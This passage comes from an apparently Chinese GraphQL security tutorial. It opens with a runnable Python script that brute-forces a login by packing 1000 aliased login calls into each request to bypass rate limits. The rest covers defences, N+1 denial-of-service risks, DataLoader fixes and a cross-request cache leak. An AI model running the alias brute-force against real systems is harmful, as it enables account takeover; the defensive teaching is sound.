★ 这个脚本的目的是让你【亲眼看到】别名攻击有多可怕,
从而在自己的系统里做好防护。请勿用于未授权系统。
"""
import json, urllib.request, urllib.parse, sys
TARGET = "https://target.com/graphql"
def build_alias_query(username: str, passwords: list) -> str:
"""把 N 个密码拼成一个带别名的查询"""
parts = []
for i, pwd in enumerate(passwords):
# ★ 每个别名都是一次独立的 login 调用
escaped = pwd.replace('"', '\\"')
parts.append(f'a{i}: login(username:"{username}", password:"{escaped}") {{ success token }}')
return "query {" + " ".join(parts) + "}"
def build_batch(passwords: list, batch_size: int = 1000) -> list:
"""把密码表切成多批,每批 1000 个(别名)"""
batches = []
for i in range(0, len(passwords), batch_size):
chunk = passwords[i:i + batch_size]
batches.append({"query": build_alias_query("admin", chunk)})
return batches
def attack(passwords: list):
print(f"[*] 待尝试 {len(passwords)} 个密码")
print(f"[*] 用别名打包后,只需要 {len(build_batch(passwords))} 次 HTTP 请求")
found = None
for idx, batch in enumerate(build_batch(passwords)):
# ★ 批量模式:请求体是数组
data = json.dumps(batch if isinstance(batch, list) else [batch]).encode()
req = urllib.request.Request(TARGET, data=data, method="POST")
req.add_header("Content-Type", "application/json")
print(f" → 第 {idx+1} 次 HTTP 请求(含 {batch['query'].count('login(')} 次登录尝试)")
try:
with urllib.request.urlopen(req, timeout=60) as resp:
results = json.loads(resp.read())
# 查找成功的那一个
for r in (results if isinstance(results, list) else [results]):
for key, val in (r.get("data") or {}).items():
if val and val.get("success"):
found = (key, val["token"])
print(f"\n[!!!] 爆破成功!别名 {key} → token = {val['token'][:40]}...")
return found
except Exception as e:
print(f" [!] 请求失败:{e}")
# ★ 注意:很多服务端会因为请求体太大返回 413,
# 这时减小 batch_size 即可(比如 200),攻击照样成立
print("\n[-] 未爆破成功(密码表不够大)")
return None
if __name__ == "__main__":
# 常见密码字典
pwds = [f"{i:06d}" for i in range(100000)] # 10 万个 6 位数字密码
attack(pwds)
print("""
┌────────────────────────────────────────────────────────┐
│ 对比(假设限流规则是「每分钟 10 次 HTTP 请求」) │
├────────────────────────────────────────────────────────┤
│ REST 接口: 10 次/分钟 → 试完 10 万密码需要 7 天 │
│ GraphQL 别名:10 次请求 × 1000 别名 │
│ = 1 万次/分钟 → 试完 10 万密码只要 10 分钟 │
└────────────────────────────────────────────────────────┘
""")
3.4.4 五种防御方案(★ 每种都有代码)
✅ 方案 1:限制单次请求的“操作数量”(不是请求数量)
/**
* ✅ 防御 1:限制单次请求里的【字段/操作数量】
*
* ★ 核心思路:限流的单位从"HTTP 请求"改成"GraphQL 操作/字段"
* 这是治本 —— 攻击者怎么塞都塞不进去
*/
@Component
@Slf4j
public class OperationCountLimiter implements Instrumentation {
/** 单个请求的字段总数上限 */
private final int maxFields;
/** 单个请求的根字段(顶层操作)数量上限 —— 别名攻击主要防这个 */
private final int maxRootFields;
/** 相同字段名(忽略别名)的重复次数上限 */
private final int maxSameFieldRepetition;
public OperationCountLimiter(
@Value("${graphql.security.max-fields:200}") int maxFields,
@Value("${graphql.security.max-root-fields:20}") int maxRootFields,
@Value("${graphql.security.max-same-field:10}") int maxSameFieldRepetition) {
this.maxFields = maxFields;
this.maxRootFields = maxRootFields;
this.maxSameFieldRepetition = maxSameFieldRepetition;
}
@Override
public InstrumentationContext<ExecutionResult> beginExecuteOperation(
InstrumentationExecuteOperationParameters parameters) {
ExecutionContext ctx = parameters.getExecutionContext();
OperationDefinition op = ctx.getOperationDefinition();
// ① 统计字段总数
int totalFields = countFields(op.getSelectionSet());
if (totalFields > maxFields) {
throw reject("QUERY_TOO_MANY_FIELDS",
"查询字段过多(%d),上限 %d".formatted(totalFields, maxFields));
}
// ② ★ 统计根字段数量(别名攻击主要靠这个拦)
int rootFields = op.getSelectionSet().getSelections().size();
if (rootFields > maxRootFields) {
throw reject("TOO_MANY_ROOT_FIELDS",
"单次查询的根操作过多(%d),上限 %d。禁止使用别名进行批量操作"
.formatted(rootFields, maxRootFields));
}
// ③ ★ 检测"同名字段重复"(别名爆破的典型特征)
Map<String, Integer> fieldCounts = new HashMap<>();
countFieldNames(op.getSelectionSet(), fieldCounts);
List<String> abusers = fieldCounts.entrySet().stream()
.filter(e -> e.getValue() > maxSameFieldRepetition)
.map(e -> "%s × %d".formatted(e.getKey(), e.getValue()))
.toList();
if (!abusers.isEmpty()) {
log.warn("[GraphQL安全] 检测到疑似别名攻击:{}", abusers);
throw reject("FIELD_REPETITION_DETECTED",
"字段重复查询次数过多:%s(疑似批量攻击)".formatted(String.join(", ", abusers)));
}
return SimpleInstrumentationContext.noOp();
}
private int countFields(SelectionSet selectionSet) {
if (selectionSet == null) return 0;
int count = 0;
for (Selection<?> sel : selectionSet.getSelections()) {
count++; // 自己
if (sel instanceof Field f) {
count += countFields(f.getSelectionSet());
} else if (sel instanceof InlineFragment frag) {
count += countFields(frag.getSelectionSet());
}
// FragmentSpread 需要查 Document 里的 FragmentDefinition,
// 这里用 QueryTraverser 更准确(见下面的增强版)
}
return count;
}
/** ★ 统计【真实字段名】(去掉别名)的出现次数 */
private void countFieldNames(SelectionSet selectionSet, Map<String, Integer> counts) {
if (selectionSet == null) return;
for (Selection<?> sel : selectionSet.getSelections()) {
if (sel instanceof Field f) {
// ★ 注意用 getName()(真实字段名),不是 getAlias()
counts.merge(f.getName(), 1, Integer::sum);
countFieldNames(f.getSelectionSet(), counts);
} else if (sel instanceof InlineFragment frag) {
countFieldNames(frag.getSelectionSet(), counts);
}
}
}
private AbortExecutionException reject(String code, String message) {
return new AbortExecutionException(
GraphqlErrorBuilder.newError()
.message(message)
.extensions(Map.of("code", code))
.build());
}
}
✅ 方案 2:限流改成“按操作次数”而不是“按请求次数”
/**
* ✅ 防御 2:基于【操作次数】的限流(★ 治本方案)
*
* ★ 关键认知:
* 传统限流:1 次 HTTP 请求 = 1 次配额消耗 → 别名攻击完全绕过
* 正确限流:1 次 GraphQL 字段解析 = 1 次配额消耗 → 别名攻击失效
*
* 实现:用 Instrumentation 在【每个字段解析前】扣减配额
*/
@Component
@Slf4j
public class FieldLevelRateLimiter implements Instrumentation {
private final RedisTemplate<String, String> redis;
private final int defaultQuota;
public FieldLevelRateLimiter(RedisTemplate<String, String> redis,
@Value("${graphql.security.field-quota-per-minute:600}") int defaultQuota) {
this.redis = redis;
this.defaultQuota = defaultQuota;
}
@Override
public DataFetcher<?> instrumentDataFetcher(DataFetcher<?> dataFetcher,
InstrumentationFieldFetchParameters parameters) {
GraphQLFieldDefinition fieldDef = parameters.getEnvironment().getFieldDefinition();
String fieldName = parameters.getEnvironment().getField().getName();
// ★ 只对"敏感/昂贵"的字段做字段级限流,不要对所有字段做(性能扛不住)
if (!isSensitiveField(fieldName)) {
return dataFetcher;
}
return env -> {
String userId = getCurrentUserId(env);
String ip = getCurrentIp(env);
// ① 用户维度限流
String userKey = "gql:field:%s:user:%s".formatted(fieldName, userId);
if (!tryConsume(userKey, getQuota(fieldName))) {
log.warn("[GraphQL安全] 字段级限流触发 field={} userId={}", fieldName, userId);
throw new GraphQLFieldRateLimitException(fieldName);
}
// ② IP 维度限流(防未登录攻击者)
String ipKey = "gql:field:%s:ip:%s".formatted(fieldName, ip);
if (!tryConsume(ipKey, getQuota(fieldName) * 5)) { // IP 维度放宽 5 倍
log.warn("[GraphQL安全] 字段级限流触发 field={} ip={}", fieldName, ip);
throw new GraphQLFieldRateLimitException(fieldName);
}
return dataFetcher.get(env);
};
}
/**
* 需要字段级限流的敏感字段
* ★ 重点覆盖:登录、验证码、支付、导出、搜索
*/
private boolean isSensitiveField(String fieldName) {
return Set.of(
"login", "sendSmsCode", "sendEmailCode", "verifyCode",
"resetPassword", "changePassword", "bindPhone",
"createOrder", "pay", "refund", "withdraw",
"exportData", "search", "checkCoupon", "redeemCode"
).contains(fieldName);
}
/** 按字段配不同配额(登录严一点,搜索松一点) */
private int getQuota(String fieldName) {
return switch (fieldName) {
case "login" -> 10; // ★ 每分钟最多 10 次登录尝试(含别名)
case "sendSmsCode" -> 3; // ★ 每分钟最多 3 条短信
case "resetPassword"-> 5;
case "pay", "refund"-> 20;
case "exportData" -> 5;
default -> defaultQuota;
};
}
/**
* Redis 滑动窗口限流(Lua 脚本保证原子性)
*/
private boolean tryConsume(String key, int quota) {
String lua = """
local key = KEYS[1]
local now = tonumber(ARGV[1])
local window = tonumber(ARGV[2])
local quota = tonumber(ARGV[3])
-- 移除窗口外的记录
redis.call('ZREMRANGEBYSCORE', key, 0, now - window)
-- 统计窗口内的请求数
local count = redis.call('ZCARD', key)
if count >= quota then
return 0
end
-- 记录本次请求
redis.call('ZADD', key, now, now .. '-' .. math.random())
redis.call('EXPIRE', key, math.ceil(window / 1000))
return 1
""";
Long result = redis.execute(
(RedisCallback<Long>) conn -> conn.eval(
lua.getBytes(),
ReturnType.INTEGER,
1,
key.getBytes(),
String.valueOf(System.currentTimeMillis()).getBytes(),
"60000".getBytes(), // 60 秒窗口
String.valueOf(quota).getBytes()));
return result != null && result == 1;
}
private String getCurrentUserId(DataFetchingEnvironment env) {
if (env.getContext() instanceof GraphQLContext ctx) {
return String.valueOf(ctx.getOrDefault("userId", "anonymous"));
}
return "anonymous";
}
private String getCurrentIp(DataFetchingEnvironment env) {
if (env.getContext() instanceof GraphQLContext ctx) {
return String.valueOf(ctx.getOrDefault("clientIp", "unknown"));
}
return "unknown";
}
/** 自定义异常 */
public static class GraphQLFieldRateLimitException extends RuntimeException {
public GraphQLFieldRateLimitException(String field) {
super("操作过于频繁,请稍后再试(字段:" + field + ")");
}
}
}
✅ 方案 3:禁用批量请求(Batching)
/**
* ✅ 防御 3:禁用 / 限制批量请求
*
* ★ Apollo 默认开启 batching,很多团队根本不知道自己开了
*/
@RestController
public class GraphQLBatchController {
@PostMapping("/graphql")
public ResponseEntity<?> execute(@RequestBody JsonNode body) {
// ★ 检测是不是批量请求(请求体是数组)
if (body.isArray()) {
int batchSize = body.size();
// ① 严格模式:生产环境直接拒绝批量(推荐)
if (isProduction()) {
log.warn("[GraphQL安全] 拒绝批量请求 size={}(生产环境已禁用)", batchSize);
return ResponseEntity.badRequest().body(Map.of(
"errors", List.of(Map.of(
"message", "批量请求在生产环境已禁用",
"extensions", Map.of("code", "BATCH_DISABLED")))));
}
// ② 宽松模式:限制批量大小(内部系统可以用)
int maxBatch = 5;
if (batchSize > maxBatch) {
return ResponseEntity.badRequest().body(Map.of(
"errors", List.of(Map.of(
"message", "批量大小超过上限 " + maxBatch,
"extensions", Map.of("code", "BATCH_TOO_LARGE")))));
}
}
return doExecute(body);
}
}
Apollo Server 里关掉 batching:
// Apollo Server 4
const server = new ApolloServer({
typeDefs,
resolvers,
// ★ 限制单批最多 5 个操作(默认不限制)
// 注意:Apollo 4 不再内置 batching,如果你用了 apollo-server-express
// 要显式检查 body 是不是数组
plugins: [{
async requestDidStart() {
return {
async didResolveOperation({ request, document }) {
// ★ 限制别名数量
const rootFields = document.definitions[0].selectionSet.selections.length;
if (rootFields > 20) {
throw new GraphQLError('Too many root fields', {
extensions: { code: 'TOO_MANY_ROOT_FIELDS' }
});
}
}
};
}
}]
});
✅ 方案 4:深度防御 —— 登录/短信这类接口本身的防护不能少
★ 最重要的一句话: GraphQL 层面的限制是“防线”,但业务接口本身的防护(验证码、失败锁定、风控)才是“保险柜”。 你不能指望“前端限流”能挡住所有攻击手法 —— 攻击者总能找到你没想到的绕过方式。
/**
* ✅ 防御 4:登录接口自身的多层防护(★ 不管用什么协议,这些都必须有)
*
* 五层防护:
* ① 图形验证码 / 滑块(挡住自动化脚本)
* ② 账号维度失败锁定(5 次失败锁 15 分钟)
* ③ IP 维度限流
* ④ 设备指纹(挡住换 IP)
* ⑤ 风控引擎(行为异常检测)
*/
@Service
@Slf4j
public class SecureLoginService {
private final RedisTemplate<String, String> redis;
private final PasswordEncoder passwordEncoder; // BCrypt
private final RiskEngine riskEngine;
private static final int MAX_FAIL_PER_ACCOUNT = 5;
private static final int LOCK_MINUTES = 15;
public LoginResult login(LoginInput input, String ip, String deviceId) {
// ===== ① 风控引擎(最前置,能挡住大部分自动化攻击)=====
RiskDecision risk = riskEngine.evaluate(RiskContext.builder()
.username(input.getUsername())
.ip(ip)
.deviceId(deviceId)
.scene("LOGIN")
.build());
if (risk == RiskDecision.BLOCK) {
log.warn("[安全] 登录被风控拦截 user={} ip={} reason={}",
input.getUsername(), ip, risk.getReason());
return LoginResult.fail("登录异常,请稍后再试");
}
if (risk == RiskDecision.CHALLENGE && !captchaPassed(input)) {
return LoginResult.needCaptcha(); // ★ 要求输验证码
}
// ===== ② 账号维度失败锁定(★ 挡住别名爆破的关键)=====
String failKey = "login:fail:" + input.getUsername();
String lockKey = "login:lock:" + input.getUsername();
if (Boolean.TRUE.equals(redis.hasKey(lockKey))) {
long ttl = redis.getExpire(lockKey, TimeUnit.SECONDS);
return LoginResult.fail("账号已锁定,请 %d 分钟后再试".formatted(ttl / 60 + 1));
}
// ===== ③ IP 维度限流 =====
String ipKey = "login:ip:" + ip;
Long ipCount = redis.opsForValue().increment(ipKey);
if (ipCount != null && ipCount == 1) {
redis.expire(ipKey, 1, TimeUnit.MINUTES);
}
if (ipCount != null && ipCount > 30) {
// ★ 1 分钟内超过 30 次登录尝试(不管是不是别名)→ 要求验证码
return LoginResult.needCaptcha();
}
// ===== ④ 执行认证 =====
User user = userService.findByUsername(input.getUsername());
// ★ 防用户枚举 + 防时序侧信道:用户不存在时也走一次 BCrypt 比对
if (user == null) {
passwordEncoder.matches(input.getPassword(), DUMMY_HASH);
recordFailure(failKey, lockKey, input.getUsername());
return LoginResult.fail("用户名或密码错误"); // ★ 统一错误提示
}
if (!passwordEncoder.matches(input.getPassword(), user.getPasswordHash())) {
recordFailure(failKey, lockKey, input.getUsername());
return LoginResult.fail("用户名或密码错误"); // ★ 不区分"用户不存在"和"密码错"
}
// ===== ⑤ 登录成功,清除失败计数 =====
redis.delete(failKey);
redis.delete(lockKey);
return LoginResult.success(jwtService.generate(user));
}
private void recordFailure(String failKey, String lockKey, String username) {
Long fails = redis.opsForValue().increment(failKey);
if (fails != null && fails == 1) {
redis.expire(failKey, LOCK_MINUTES, TimeUnit.MINUTES);
}
if (fails != null && fails >= MAX_FAIL_PER_ACCOUNT) {
redis.opsForValue().set(lockKey, "1", LOCK_MINUTES, TimeUnit.MINUTES);
log.warn("[安全] 账号锁定 user={} 连续失败 {} 次", username, fails);
// ★ 触发告警
alertService.send("账号锁定告警", username);
}
}
private static final String DUMMY_HASH =
"$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy";
}
✅ 方案 5:Persisted Query(持久化查询白名单) —— ★ 最彻底
原理: 生产环境只接受预先注册过的查询。客户端在构建时把查询提交到服务端, 服务端存下
查询 → hash的映射,生产环境客户端只发 hash,不发查询文本。效果:
- 内省关不关无所谓(攻击者只能发白名单里的查询)
- 深度/复杂度攻击失效(白名单查询都是审核过的)
- 别名攻击失效(白名单里没有带 1000 个别名的查询)
- 批量攻击失效(没注册的查询一律拒绝)
★ 一句话:Persisted Query 是 GraphQL 安全的终极方案, 代价是客户端改造成本 + 查询变更要走发布流程。
/**
* ✅ 防御 5:Persisted Query 白名单(★ 生产环境终极方案)
*
* 三种模式:
* ① 严格模式(推荐生产):只接受白名单 hash,未知 hash 直接拒绝
* ② 自动注册模式(开发/预发):未知 hash 时接受并自动注册(★ 生产千万别开,等于没开)
* ③ 关闭模式(纯开发)
*/
@Component
@Slf4j
public class PersistedQuerySupport {
private final PersistedQueryRepository repository;
private final PersistedQueryMode mode;
public enum PersistedQueryMode { OFF, AUTO_REGISTER, STRICT }
/**
* 解析请求:从 hash 还原出查询文本
*/
public String resolveQuery(GraphQLHttpRequest request, GraphQLContext context) {
String hash = request.getPersistedQueryHash();
// ① 没有 hash,且是严格模式 → 拒绝
if (hash == null) {
if (mode == PersistedQueryMode.STRICT) {
throw new PersistedQueryException(
"生产环境只允许持久化查询,请提供 persistedQuery.sha256Hash");
}
return request.getQuery(); // 非严格模式:直接用传来的 query
}
// ② 校验 hash 格式
if (!hash.matches("^[a-f0-9]{64}$")) {
throw new PersistedQueryException("非法的查询 hash 格式");
}
// ③ 查白名单
Optional<String> registered = repository.findByHash(hash);
if (registered.isPresent()) {
return registered.get();
}
// ④ 未注册
if (mode == PersistedQueryMode.STRICT) {
// ★ 严格模式:直接拒绝,绝不回退到传来的 query
log.warn("[GraphQL安全] 拒绝未注册的查询 hash={} ip={}",
hash, context.get("clientIp"));
throw new PersistedQueryNotFoundException(
"查询未注册(hash=" + hash.substring(0, 16) + "...)");
}
// ⑤ 自动注册模式(★ 只允许在开发环境)
if (mode == PersistedQueryMode.AUTO_REGISTER) {
String query = request.getQuery();
if (query == null || query.isBlank()) {
throw new PersistedQueryNotFoundException("未知查询且未提供 query 文本");
}
// ★ 注册前先做安全校验(防止把恶意查询注册进白名单)
validateBeforeRegister(query);
repository.save(hash, query);
log.info("[GraphQL] 自动注册查询 hash={}", hash.substring(0, 16));
return query;
}
throw new PersistedQueryNotFoundException("查询未注册");
}
/** ★ 注册前的安全校验:恶意查询不能进白名单 */
private void validateBeforeRegister(String query) {
// ① 不能包含内省
if (query.contains("__schema") || query.contains("__type")) {
throw new PersistedQueryException("内省查询不允许注册");
}
// ② 深度校验
int depth = calculateDepth(query);
if (depth > 12) {
throw new PersistedQueryException("查询深度超限:" + depth);
}
// ③ 别名数量校验
int rootFields = countRootFields(query);
if (rootFields > 20) {
throw new PersistedQueryException("根字段数量超限:" + rootFields);
}
}
public static class PersistedQueryException extends RuntimeException {
public PersistedQueryException(String m) { super(m); }
}
public static class PersistedQueryNotFoundException extends RuntimeException {
public PersistedQueryNotFoundException(String m) { super(m); }
}
}
构建期自动生成白名单(Maven 插件思路):
# ===== 构建流程 =====
# 1. 开发提交 .graphql 文件到 src/main/resources/graphql/queries/
# 2. CI 里跑脚本,计算每个查询的 sha256,上传到服务端注册表
# 3. 前端构建时,用 apollo 的 persisted-query 插件把查询替换成 hash
# 手动生成(示意)
for f in src/main/resources/graphql/queries/*.graphql; do
hash=$(sha256sum "$f" | cut -d' ' -f1)
echo "{\"hash\":\"$hash\",\"query\":$(jq -Rs . "$f")}"
done > persisted-queries.json
# 上传
curl -X POST https://api.corp.com/internal/graphql/register \
-H "X-Internal-Key: $CI_KEY" \
-H "Content-Type: application/json" \
--data @persisted-queries.json
3.4.5 五种方案对比
| 方案 | 拦住什么 | 误伤风险 | 实现成本 | 优先级 |
|---|---|---|---|---|
| 限制根字段/同名字段重复次数 | 别名攻击 | 低(正常查询不会有 20 个根字段) | 低 | ★★★ |
| 字段级限流(按操作次数) | 别名 + 批量 | 低 | 中 | ★★★ |
| 禁用批量请求 | 批量攻击 | 中(会影响合法的批量优化) | 低 | ★★★ |
| 业务接口自身防护(验证码/锁定) | 所有(★ 治本) | 高(影响用户体验) | 中 | ★★★ |
| Persisted Query 白名单 | 所有(★ 最彻底) | — | 高(客户端改造) | ★★ |
★ 推荐组合(渐进式落地):
- 第 1 周(低成本高收益):限制根字段数量 + 同名字段重复次数 + 禁用批量请求
- 第 2~4 周:登录/短信/支付类接口做字段级限流 + 验证码 + 失败锁定
- 1~3 个月:核心业务(对外 API)切 Persisted Query 白名单
3.4.6 别名/批量攻击 —— 面试问答
Q:GraphQL 的别名(Alias)怎么被用来绕过限流?怎么防?
A(口述版): “别名本来是 GraphQL 的正常特性,用来在一次查询里区分同名字段的结果, 比如同时查 alice 和 bob 两个用户。
但攻击者可以在一次查询里写 1000 个别名,每个都调一次
login或者sendSmsCode。 这样一次 HTTP 请求 = 1000 次密码尝试或者 1000 条短信。 而我们的限流规则通常是’每分钟最多 10 次 HTTP 请求’ —— 完全没触发。 更狠的是配合批量请求(请求体是数组),1 次请求可以做到 10 万次尝试。 危害不只是爆破,还有短信轰炸直接烧钱、优惠券码被批量枚举。防护要分三层: 第一层是协议层,限制单次请求的根字段数量(比如最多 20 个)、 限制同名字段的重复次数(比如
login最多出现 10 次)、 生产环境禁用批量请求; 第二层是限流维度要改 —— 从’按 HTTP 请求次数’改成’按字段解析次数’, 用 Instrumentation 在每个敏感字段解析前扣减配额,这样别名就没用了; 第三层也是最不能省的,业务接口自身的防护: 登录必须有验证码、5 次失败锁 15 分钟、IP 限流、设备指纹、风控引擎。★ 加分点:如果追求最彻底,上 Persisted Query 白名单 —— 生产只接受预注册的查询 hash, 攻击者连自定义查询都发不了。代价是客户端要改造,查询变更要走发布流程, 所以一般只对外网 API 上,内部系统用前两层就够。“
3.5 N+1 查询问题 —— 性能问题为什么会变成安全问题
3.5.1 一句话定义 + 为什么放在安全文档里讲
N+1 查询问题:查 1 次拿到 N 条记录,然后为每条记录再查 1 次它的关联数据, 总共
1 + N次数据库查询。在 GraphQL 的嵌套查询里,会变成1 + N + N×M + ...。
★ 为什么安全问题文档要讲性能问题?(面试会问)
因为 N+1 在 GraphQL 里会指数级放大,直接变成 DoS 武器:
REST 里的 N+1:一个接口最多 1 + 100 = 101 次查询(因为接口是固定的)
GraphQL 里的 N+1:
查 100 个用户 → 1 次
每个用户的订单 → 100 次
每个订单的商品 → 100 × 20 = 2,000 次
每个商品的产品 → 2,000 × 5 = 10,000 次
每个产品的评论 → 10,000 × 50 = 500,000 次
────────────────────────────────────────────────
合计:502,101 次数据库查询
而且这条查询【看起来完全正常】,深度只有 5 层,
深度限制拦不住,复杂度限制如果没配好也拦不住。
★ 面试金句: “N+1 在 REST 里是性能问题(接口慢), 在 GraphQL 里是安全问题(一条查询打死数据库)。 因为 GraphQL 的嵌套是客户端控制的,N+1 会被放大成指数级。 所以 GraphQL 服务必须用 DataLoader,这不是优化项,是安全基线。”
3.5.2 N+1 长什么样(漏洞代码)
/**
* ❌❌❌ 经典 N+1:每个 Resolver 都直接查数据库
*/
@Component
public class NPlusOneResolvers implements GraphQLResolver<User> {
@Autowired
private OrderRepository orderRepository;
/**
* ❌ 查 N 个用户 → 每个用户查一次 orders → N 次查询
*/
public List<Order> getOrders(User user) {
return orderRepository.findByUserId(user.getId()); // 每次一条 SQL
}
}
@Component
public class NPlusOneOrderResolvers implements GraphQLResolver<Order> {
@Autowired
private ItemRepository itemRepository;
/**
* ❌ 更狠:N 个用户 × M 个订单 → N×M 次查询
*/
public List<Item> getItems(Order order) {
return itemRepository.findByOrderId(order.getId());
}
}
执行一条这样的查询:
query {
users(first: 100) { # 1 次 SQL
name
orders { # 100 次 SQL(每用户 1 次)
id
items { # 100 × 20 = 2000 次 SQL
name
product { # 2000 次 SQL
name
reviews { # 2000 × 50 = 100000 次 SQL
content
}
}
}
}
}
}
-- 数据库这边看到的是这样的(10 万条几乎一样的 SQL):
SELECT * FROM orders WHERE user_id = 1;
SELECT * FROM orders WHERE user_id = 2;
SELECT * FROM orders WHERE user_id = 3;
...
SELECT * FROM order_items WHERE order_id = 5001;
SELECT * FROM order_items WHERE order_id = 5002;
...
-- 数据库连接池(通常 20~50 个)瞬间打满,其他所有业务全部超时
3.5.3 ✅ DataLoader:批量 + 缓存,把 N+1 变成 1+1
原理(一句话):
DataLoader 把一个事件循环内(一次 GraphQL 查询内)所有对同一资源的请求攒起来, 最后一次性批量查询(
WHERE id IN (...)),并且缓存已查过的结果。
生活类比(★ 记住这个):
没有 DataLoader(N+1): 你是快递员,要送 100 个包裹到同一栋楼。 你送完 1 个,跑回楼下货车拿第 2 个,上楼送,跑下来拿第 3 个…… 上下楼 100 趟。
有 DataLoader: 你先把 100 个包裹全部装进推车,坐一次电梯上去,挨户投递。 上下楼 1 趟。
而且如果你发现 3 楼 301 和 305 是同一个收件人(缓存命中), 你记一下,就不用重复跑了。
/**
* ✅✅✅ 用 DataLoader 修复 N+1
*
* DataLoader 做两件事:
* ① 批量(Batching):把 N 次单查攒成 1 次 WHERE id IN (...)
* ② 缓存(Caching):同一次请求内,同一个 key 只查一次
*/
@Configuration
@Slf4j
public class DataLoaderConfig {
/**
* 注册 DataLoader
*
* ★ 核心:DataLoaderRegistry 必须是【每个请求一个实例】
* (因为缓存是请求级别的,跨请求缓存会导致数据不一致)
*/
@Bean
public DataLoaderRegistryFactory dataLoaderRegistryFactory(
OrderRepository orderRepository,
ItemRepository itemRepository,
ProductRepository productRepository,
ReviewRepository reviewRepository) {
return () -> {
DataLoaderRegistry registry = new DataLoaderRegistry();
// ===== ① 用户 → 订单(一对多,返回 List)=====
registry.register("ordersByUser",
DataLoaderFactory.newMappedDataLoader(
(Set<String> userIds, BatchLoaderEnvironment env) ->
CompletableFuture.supplyAsync(() -> {
log.debug("[DataLoader] 批量查 orders,userId 数量={}", userIds.size());
// ★ 1 次 SQL 查出所有
List<Order> orders = orderRepository.findByUserIdIn(userIds);
// 按 userId 分组
return orders.stream()
.collect(Collectors.groupingBy(Order::getUserId));
})
));
// ===== ② 订单 → 商品(一对多)=====
registry.register("itemsByOrder",
DataLoaderFactory.newMappedDataLoader(
(Set<Long> orderIds) ->
CompletableFuture.supplyAsync(() -> {
List<Item> items = itemRepository.findByOrderIdIn(orderIds);
return items.stream()
.collect(Collectors.groupingBy(Item::getOrderId));
})
));
// ===== ③ 商品 → 产品(一对一,返回单个对象)=====
registry.register("productById",
DataLoaderFactory.newDataLoader(
(Set<Long> productIds) ->
CompletableFuture.supplyAsync(() ->
productRepository.findAllById(productIds).stream()
.collect(Collectors.toMap(Product::getId, p -> p))
)
));
// ===== ④ 产品 → 评论(一对多,加分页限制)=====
registry.register("reviewsByProduct",
DataLoaderFactory.newMappedDataLoader(
(Set<Long> productIds, BatchLoaderEnvironment env) ->
CompletableFuture.supplyAsync(() -> {
// ★ 从 context 里取分页大小(防止一次拉太多)
Integer limit = env.getContext() instanceof Map<?, ?> m
? (Integer) m.get("reviewLimit") : 50;
limit = Math.min(limit == null ? 50 : limit, 100);
List<Review> reviews =
reviewRepository.findTopNByProductIdIn(productIds, limit);
return reviews.stream()
.collect(Collectors.groupingBy(Review::getProductId));
}),
// ★ 缓存 key 要带上分页参数,否则不同分页会串数据
// 用 DataLoaderOptions 的 cacheKeyFn
DataLoaderOptions.newOptions()
.setCacheKeyFn(key -> key.toString())
.build()
));
return registry;
};
}
/**
* ★ 配置 DataLoader 到 GraphQL
*/
@Bean
public GraphQL graphQL(GraphQLSchema schema,
DataLoaderRegistryFactory registryFactory) {
return GraphQL.newGraphQL(schema)
// ★ 每个请求创建新的 DataLoaderRegistry(请求级缓存)
.instrumentation(new DataLoaderDispatcherInstrumentation(registryFactory))
.instrumentation(new MaxQueryDepthInstrumentation(12))
.instrumentation(new MaxQueryComplexityInstrumentation(5000))
.build();
}
}
对应的 Resolver 改成用 DataLoader:
@Component
public class UserResolvers implements GraphQLResolver<User> {
/**
* ✅ 用 DataLoader:100 个用户 → 1 次 SQL
*/
public CompletableFuture<List<Order>> getOrders(
User user, DataFetchingEnvironment env) {
DataLoader<String, List<Order>> loader =
env.getDataLoader("ordersByUser");
return loader.load(user.getId());
// ★ 这里 load() 不会立刻查库,而是"登记一下"
// DataLoader 会在攒够一批后(或者当前 tick 结束时)统一发起批量查询
}
}
@Component
public class OrderResolvers implements GraphQLResolver<Order> {
public CompletableFuture<List<Item>> getItems(
Order order, DataFetchingEnvironment env) {
return env.<Long, List<Item>>getDataLoader("itemsByOrder")
.load(order.getId());
}
}
@Component
public class ItemResolvers implements GraphQLResolver<Item> {
public CompletableFuture<Product> getProduct(
Item item, DataFetchingEnvironment env) {
return env.<Long, Product>getDataLoader("productById")
.load(item.getProductId());
}
}
效果对比:
| 指标 | 修复前(N+1) | 修复后(DataLoader) |
|---|---|---|
| SQL 次数(查 100 用户 + 订单 + 商品) | 2,101 次 | 4 次 |
| SQL 次数(上面那条 5 层查询) | 502,101 次 | 5 次 |
| 响应时间 | 超时(>60s) | ~200ms |
| 数据库连接池 | 打满 | 用 1 个 |
3.5.4 ★ DataLoader 的安全陷阱(面试加分题)
陷阱 1:跨请求缓存导致数据泄露(★ 最严重)
// ❌❌❌ 致命错误:DataLoaderRegistry 做成了【单例】
@Bean
public DataLoaderRegistry dataLoaderRegistry() { // ← 单例!整个应用共用一个
DataLoaderRegistry registry = new DataLoaderRegistry();
registry.register("userById", ...);
return registry;
}
/**
* 后果:
* DataLoader 的缓存是【内存缓存】,单例意味着缓存【跨请求共享】
*
* 用户 A 请求 → 查了 user:1 → 缓存里有 {1: 张三}
* 用户 B 请求 → 查 user:1 → 【命中缓存】→ 直接返回张三的数据
*
* 如果 user:1 是敏感数据,而用户 B 本来没权限看 → 越权泄露!
* 而且数据更新后,缓存不会失效 → 用户看到【旧数据】,且不知道为什么
*/
✅ 正确做法:每个请求一个 Registry
/**
* ✅ 每个 HTTP 请求创建独立的 DataLoaderRegistry
*/
@Bean
public DataLoaderDispatcherInstrumentation dataLoaderInstrumentation(
DataLoaderRegistryFactory factory) {
// ★ 每次执行 GraphQL 查询时,factory 会被调用生成新的 registry
return new DataLoaderDispatcherInstrumentation(factory);
}
@FunctionalInterface
public interface DataLoaderRegistryFactory {
DataLoaderRegistry create();
}
/**
* ★ 更明确的写法:在 Controller 层手动创建并传入
*/
@PostMapping("/graphql")
public CompletableFuture<Map<String, Object>> execute(@RequestBody GraphQLRequest req) {
// ★ 每个请求 new 一个
DataLoaderRegistry registry = dataLoaderRegistryFactory.create();
ExecutionInput input = ExecutionInput.newExecutionInput()
.query(req.getQuery())
.operationName(req.getOperationName())
.variables(req.getVariables())
.dataLoaderRegistry(registry) // ← 请求级的
.context(buildContext(request))
.build();
return graphQL.executeAsync(input).thenApply(ExecutionResult::toSpecification);
}
陷阱 2:批量加载没有上限,一条批量 SQL 打死数据库
// ❌ 危险:DataLoader 攒了 10 万个 id,一次 WHERE id IN (10万个id)
